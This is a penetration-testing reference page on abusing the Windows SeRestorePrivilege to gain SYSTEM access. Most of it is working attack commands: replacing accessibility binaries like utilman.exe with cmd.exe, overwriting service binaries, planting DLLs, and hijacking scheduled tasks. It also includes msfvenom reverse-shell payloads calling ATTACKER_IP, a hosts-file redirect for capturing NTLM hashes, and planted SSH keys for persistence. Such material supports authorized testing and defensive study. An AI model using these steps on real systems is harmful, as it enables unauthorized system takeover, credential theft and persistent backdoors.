> ## Documentation Index
> Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
> Use this file to discover all available pages before exploring further.

# SeRestorePrivilege

> Abuse SeRestorePrivilege to write any file regardless of ACLs — replace system binaries, plant DLLs, hijack services and tasks.

## Overview

`SeRestorePrivilege` grants write to any file/folder, bypassing NTFS ACLs (it also grants implicit `WRITE_DAC`/`WRITE_OWNER`). Effectively arbitrary write as SYSTEM: overwrite protected binaries, plant DLLs in System32, modify scheduled tasks.

Default on `Administrators` (elevated), `Backup Operators`, `SYSTEM`, and Server Operators on a DC.

***

## Check if Enabled

```cmd theme={"dark"}
whoami /priv | findstr /i "SeRestorePrivilege"
```

Shows **Disabled**? Still usable — enable it in the token at runtime (`AdjustTokenPrivileges`, see [PowerShell method](#powershell-method-backup-semantics)).

***

## Replace Accessibility Binary — SYSTEM Shell at Login

Accessibility binaries launch as SYSTEM from the lock/login screen. Replace with `cmd.exe`.

```cmd theme={"dark"}
copy C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.exe.bak
copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe /Y
```

Trigger: lock screen (`Win+L`) → click Ease of Access → SYSTEM shell. Works pre-auth over RDP (`xfreerdp3 /v:TARGET /cert:ignore`).

Same technique for every accessibility binary:

| Binary                                     | Trigger                                     |
| ------------------------------------------ | ------------------------------------------- |
| `utilman.exe`                              | Ease of Access button                       |
| `sethc.exe`                                | Shift ×5 (Sticky Keys) — fires at RDP login |
| `Narrator.exe` / `Magnify.exe` / `osk.exe` | Ease of Access menu                         |
| `DisplaySwitch.exe`                        | Win+P                                       |

Cleanup: restore the `.bak`.

<Warning>
  Defender/AMSI may flag overwriting these. Check first: `sc query WinDefend`. On 10 1809+, WRP may block `copy` — use the PowerShell backup-semantics method below.
</Warning>

***

## Overwrite Service Binary

```cmd theme={"dark"}
wmic service where "StartMode='Auto' AND StartName='LocalSystem'" get Name,PathName
sc qc VulnService
sc stop VulnService
copy "C:\Program Files\VulnService\app.exe" "C:\Program Files\VulnService\app.exe.bak"
copy shell.exe "C:\Program Files\VulnService\app.exe" /Y
sc start VulnService
```

```bash theme={"dark"}
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o shell.exe
```

***

## DLL Hijack — System32 / PATH

Write a malicious DLL where a SYSTEM service expects one. Find missing DLLs with Procmon (`Result = NAME NOT FOUND`, ends `.dll`).

| Service    | Missing DLL    |
| ---------- | -------------- |
| IKEEXT     | `wlbsctrl.dll` |
| SessionEnv | `TSMSISrv.dll` |
| NetMan     | `wlanhlp.dll`  |

```bash theme={"dark"}
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll -o wlbsctrl.dll
```

```cmd theme={"dark"}
copy wlbsctrl.dll C:\Windows\System32\wlbsctrl.dll
sc stop IKEEXT && sc start IKEEXT
```

***

## Scheduled Task Hijack

Task XML lives in `C:\Windows\System32\Tasks`. Overwrite a SYSTEM task's command.

```powershell theme={"dark"}
Get-ScheduledTask | Where-Object { $_.Principal.UserId -match 'SYSTEM' } | Select TaskName, TaskPath
$xml = [xml](Get-Content "C:\Windows\System32\Tasks\TargetTask")
$xml.Task.Actions.Exec.Command = "C:\Windows\Temp\shell.exe"
$xml.Save("C:\Windows\System32\Tasks\TargetTask")
```

```cmd theme={"dark"}
schtasks /run /tn "TargetTask"
```

***

## Modify hosts File

`C:\Windows\System32\drivers\etc\hosts` is normally protected. Redirect internal hostnames to a Responder host to capture Net-NTLMv2.

```cmd theme={"dark"}
echo ATTACKER_IP  fileserver.corp.local >> C:\Windows\System32\drivers\etc\hosts
```

```bash theme={"dark"}
sudo responder -I eth0 -v
```

***

## Write SSH authorized\_keys

If OpenSSH Server is installed (`sc query sshd`), plant your key for passwordless access.

```cmd theme={"dark"}
echo ssh-ed25519 AAAA...key attacker@kali > C:\ProgramData\ssh\administrators_authorized_keys
icacls C:\ProgramData\ssh\administrators_authorized_keys /inheritance:r
icacls C:\ProgramData\ssh\administrators_authorized_keys /grant "BUILTIN\Administrators:F" /grant "NT AUTHORITY\SYSTEM:F"
```

```bash theme={"dark"}
ssh -i ~/.ssh/id_ed25519 administrator@TARGET
```

***

## PowerShell Method (Backup Semantics)

When `copy` fails due to WRP, enable the privilege at runtime and write via .NET with `FILE_FLAG_BACKUP_SEMANTICS` (`0x02000000`). Enable the privilege with the standard `AdjustTokenPrivileges` P/Invoke (see the snippet on [SeCreateTokenPrivilege](/windows-privesc/secreatetoken#check-if-enabled)), then:

```powershell theme={"dark"}
$src = [System.IO.File]::OpenRead("C:\Windows\Temp\shell.exe")
$dst = [System.IO.FileStream]::new("C:\Windows\System32\target.exe",
    [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write,
    [System.IO.FileShare]::None, 4096, [System.IO.FileOptions]0x02000000)
$src.CopyTo($dst); $dst.Close(); $src.Close()
```

***

## Combine with SeBackupPrivilege

Backup Operators hold both → arbitrary read AND write. Dump SAM/NTDS.dit (read) then plant a backdoor (write). Read side documented in [SeBackupPrivilege](/windows-privesc/sebackup).

***

## Quick Reference

| Technique                           | Target                 | Result                  |
| ----------------------------------- | ---------------------- | ----------------------- |
| Replace `utilman.exe` / `sethc.exe` | Lock / RDP login       | SYSTEM shell            |
| Overwrite service binary            | SYSTEM service         | SYSTEM on restart       |
| Plant DLL (System32 / PATH)         | Missing DLL            | SYSTEM on service start |
| Modify scheduled task XML           | `System32\Tasks\*`     | SYSTEM on trigger       |
| Modify `hosts`                      | DNS redirect           | Hash capture / MITM     |
| Write SSH `authorized_keys`         | OpenSSH                | Persistent access       |
| Combine with SeBackup               | SAM/NTDS + persistence | Full compromise         |